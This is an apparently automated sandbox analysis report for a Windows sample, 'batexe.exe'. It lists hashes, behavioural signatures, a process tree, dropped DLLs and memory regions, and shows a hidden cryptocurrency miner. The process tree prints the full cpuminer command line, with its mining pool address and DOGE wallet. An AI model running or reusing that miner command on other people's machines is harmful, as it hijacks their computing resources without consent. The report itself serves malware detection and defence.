73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12/02/2024, 17:09

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2308	b2e.exe
2556	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2556	cpuminer-sse2.exe
2556	cpuminer-sse2.exe
2556	cpuminer-sse2.exe
2556	cpuminer-sse2.exe
2556	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2560-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 2308	2560	batexe.exe	74
PID 2560 wrote to memory of 2308	2560	batexe.exe	74
PID 2560 wrote to memory of 2308	2560	batexe.exe	74
PID 2308 wrote to memory of 5000	2308	b2e.exe	75
PID 2308 wrote to memory of 5000	2308	b2e.exe	75
PID 2308 wrote to memory of 5000	2308	b2e.exe	75
PID 5000 wrote to memory of 2556	5000	cmd.exe	78
PID 5000 wrote to memory of 2556	5000	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2308
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A4AC.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5000
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe

Filesize
4.4MB

MD5
6817714e04354a199e62ac01b6e06f03

SHA1
66550d231ce6fd69a1c26ba144c42a848b1bc4f3

SHA256
42ff8a648e686c200a1e06670dcde1f6a9cfc68502b22e926eb8c28cddd49e48

SHA512
22047de875bb689deeede284a092c6fc23de6d1733413c5ca0ac25503b41c86c2374d5af5a9778620fe9b49d75ad39549355f273095bab65981213f49f1e2e53

Download Submit
C:\Users\Admin\AppData\Local\Temp\A047.tmp\b2e.exe

Filesize
4.1MB

MD5
d2c419a721d788c886ebc0bada6a278f

SHA1
94d19fe33b785b89d1060ce3dc9ae4a228791210

SHA256
650228630db655f08faa08da1e0a36d140c2212db9c910251b7805de8e8c46bb

SHA512
59ee192be1b742861e60745fa7c44ea0a8ece045f6c7938ff8d83cc8d59d171a12d50fec02c3f98493bfe1a2006183e13b92063011e6e805379f31510f44eb0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\A4AC.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.5MB

MD5
b5081d96256baa1a21ec8dfad202ef42

SHA1
d4ba47fcf17a5fc410604794008918e9dacbf628

SHA256
4bcfe05b9d119bb3c03f282e6413d95d2d88031f7cd499355145d79ac614df65

SHA512
64e4c225e78ffc0f6ec52deb10fea91223393b43457999b0255074079849425e8ce5a79cabb35a1f67b48149620ee3a6f55bc4d2b5d8f8d3e453b90e126ff729

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.6MB

MD5
2d0313a655440e87aa3c0c928026ee16

SHA1
2275a64c92180d88e646b8852ace630ee11ce085

SHA256
b94d18754c2d8478151e0d73faa055fa69da602531d4891d9ddcd2a65124409c

SHA512
a253fb7c977895a6d6cb508729af9b4a06d85f24c62a0b0fc0baa2b4e463e0ba53416ede4a5f9efdd244e3a0cbe99732b07b73d2eaef2a02ca72b064c00569a8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.2MB

MD5
530bc979c45a29e67825c9d05a6a85f7

SHA1
4bc2f59f1843af0d4f94c5ffbb51746c088ef791

SHA256
a318eb6a3028084cd7e087e9e59851ac0b53ee5e9201bc3e2fa86d76f71b9967

SHA512
97edc133c8b9edec2135e8a5618b47a94e7d461bf3eefddd16e04cdbab125821b6689110766b5e46aa32e7d599f8b89301ef8b288403af863f5aa7504d635cee

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2308-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2308-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2556-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2556-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2556-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2556-43-0x0000000067BF0000-0x0000000067C88000-memory.dmp

Filesize
608KB

Download
memory/2556-44-0x0000000001090000-0x0000000002945000-memory.dmp

Filesize
24.7MB

Download
memory/2556-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2556-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2556-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2556-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2556-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2556-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2556-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2556-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2556-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download